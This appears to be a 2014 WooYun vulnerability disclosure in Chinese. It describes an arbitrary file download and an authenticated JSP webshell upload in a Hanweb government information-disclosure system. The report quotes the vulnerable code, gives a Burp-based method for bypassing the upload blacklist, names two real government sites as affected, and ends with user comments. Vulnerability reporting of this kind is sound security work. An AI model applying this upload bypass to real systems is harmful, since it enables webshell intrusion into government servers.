当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061344

漏洞标题:大汉版通系统再次getshell(需登陆)

相关厂商:南京大汉网络有限公司

漏洞作者: 路人甲

提交时间:2014-05-18 22:01

修复时间:2014-08-16 22:02

公开时间:2014-08-16 22:02

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-18: 细节已通知厂商并且等待厂商处理中
2014-05-19: 厂商已经确认,细节仅向厂商公开
2014-05-22: 细节向第三方安全合作伙伴开放
2014-07-13: 细节向核心白帽子及相关领域专家公开
2014-07-23: 细节向普通白帽子公开
2014-08-02: 细节向实习白帽子公开
2014-08-16: 细节向公众公开

简要描述:

大汉版通系统可以再次getshell,外加一处任意文件下载

详细说明:

注:该系统为信息公开系统(xxgk)
另外这个漏洞同样比较有意思,不知道程序员的逻辑是什么..
#1 任意文件下载

/xxgk/m_5_7/replace/export.jsp


代码为

<%@page contentType="text/html;charset=iso8859-1"%>
<%@page import="jcms.util.DownFile"%>
<%@page import="com.hanweb.common.util.Convert"%>
<%
//原文件名
String strFileName = Convert.getParameter(request, "filename");
strFileName = strFileName == null ? "" : strFileName;
//要保存的文件名
String downloadname = Convert.getParameter(request, "savename");
downloadname = new String(downloadname.getBytes("UTF-8"), "8859_1");
if (!DownFile.getFile(strFileName, downloadname, response, "UTF-8")) {
out
.println(Convert
.getAlterScript("alert('下载失败!');"));
}
%>


可以看出filename和savename直接get提交,SO..
#2 getshell

/xxgk/m_5_7/replace/opr_importinfo.jsp


产生漏洞的代码为

<%
//...
// 表单变量初始化
String strTpl_i_ID = "";
String strTpl_fn_billstatus = "S";//初始化操作状态
// 基本变量初始化
String strFilePath = "";
String strFileName = "";
strFilePath = application.getRealPath("") + "/m_5_7/replace/temp/";
Jcms_ReplaceBLF blf = new Jcms_ReplaceBLF(sys);
// 保存状态 -- 新增S或者更新B
if (strBillStatus.equals("S")) {
//创建文件路径
Convert.createDirectory(strFilePath);
String strMsg = "";
String strIllMsg = "";
//上传图片
CommonUploadFile upload = new CommonUploadFile(strFilePath, "");
SysInit.init();
if (SysInit.m_strImportNoFileType == null) {
upload.setM_Notfiletype("exe,com,bat,php,asp,php3,phtml,jsp,aspx");
} else {
upload.setM_Notfiletype(SysInit.m_strImportNoFileType);
}
boolean bResult = upload.uploadFile(request);
return;
String strUpFileName = "";
if (bResult) {
String[] strFiles = upload.getAllFileName();
jcms.filter.FilterWordParse parse = new jcms.filter.FilterWordParse();
File file;
Vector vReplace = new Vector();
Hashtable ht;
for (int i = 0; i < strFiles.length; i++) {
strUpFileName = strFilePath + strFiles[i];
file = new File(strUpFileName);
if (!file.exists()) {
com.hanweb.common.log.LogWriter.debug("文件不存在!");
continue;
}
}


上述代码有以下几个关键点

1.上传文件保存的路径
strFilePath = application.getRealPath("") + "/m_5_7/replace/temp/";
2.限制上传文件类型(黑名单不靠谱)
upload.setM_Notfiletype("exe,com,bat,php,asp,php3,phtml,jsp,aspx");


另外上传文件做了客户端验证(客户端同样不靠谱,直接bypass)
对于关键点2,经过多次测试验证发现,这段代码并没有起到任何作用,直接无视即可..
#3 漏洞验证
由于网上有大量的实例,任意选取几个案例进行测试验证..
First:首先将我们要上传的文件改名为shell.xml,之后抓包再改回来..
在验证之前简单说下比较有意思的地方,当我们点击上传的时候,采用Burp suite抓包修改,提交即可,如图

1.jpg


上图中有两处需要修改的地方:

Content-Disposition: form-data; name="file1"; filename="shell.xml"
修改为:
Content-Disposition: form-data; name="file3"; filename="shell.jsp"
注意:name必须修改为非file1,要不然无法成功上传(这里就是我觉得比较有意思的地方)


提交后会就会在 /m_5_7/replace/temp/ 目录下生成shell.jsp
案例一:

http://xxgk.weifang.gov.cn/xxgk/m_5_7/replace/opr_importinfo.jsp?fn_billstatus=1


11.jpg


案例二:

http://xxgk.lyg.gov.cn//xxgk/m_5_7/replace/opr_importinfo.jsp?fn_billstatus=1


22.jpg


漏洞证明:

#证明
案例一:

http://xxgk.weifang.gov.cn/xxgk/m_5_7/replace/opr_importinfo.jsp?fn_billstatus=1


11.jpg


案例二:

http://xxgk.lyg.gov.cn//xxgk/m_5_7/replace/opr_importinfo.jsp?fn_billstatus=1


22.jpg

修复方案:

严格限制文件

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-05-19 10:01

厂商回复:

感谢关注

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-18 22:28 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    连发啊我擦。看来是各个系统都有的统一问题

  2. 2014-06-11 14:48 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    @xsser 为什么已经对普通白帽子公开了我却看不到啊?

  3. 2014-06-11 14:51 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @xiaoL 难道rank不够?

  4. 2014-06-11 14:53 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @xiaoL @xsser 就是rank不够,这个可以稍微优化下

  5. 2014-06-11 14:55 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @felixk3y 故意这么做的 借鉴黄色网站

  6. 2014-06-11 14:58 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @xsser 哈哈 好吧

  7. 2014-06-11 15:21 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    @felixk3y 哈哈!一看就知道你是作者吧!路人甲!

  8. 2014-06-11 22:01 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @felixk3y 原来是你啊